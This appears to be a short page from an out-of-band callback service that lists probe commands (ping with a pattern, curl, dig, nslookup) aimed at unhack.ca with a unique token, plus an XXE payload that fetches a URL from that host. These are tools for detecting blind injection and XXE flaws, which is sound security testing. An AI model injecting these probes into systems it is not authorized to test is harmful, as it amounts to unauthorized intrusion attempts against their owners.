$ ping -c1 -p 000bc6f9ddadbdab49d2f5d41bd95700 unhack.ca
 

$ curl http://unhack.ca/p/0bc6f9ddadbdab49d2f5d41bd957
 

$ dig 0bc6f9ddadbdab49d2f5d41bd957 @unhack.ca
 

$ dig 0bc6f9ddadbdab49d2f5d41bd957.ns.unhack.ca
 

C:\> nslookup 0bc6f9ddadbdab49d2f5d41bd957 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0bc6f9ddadbdab49d2f5d41bd957">]>
    <foo>&xxe;</foo>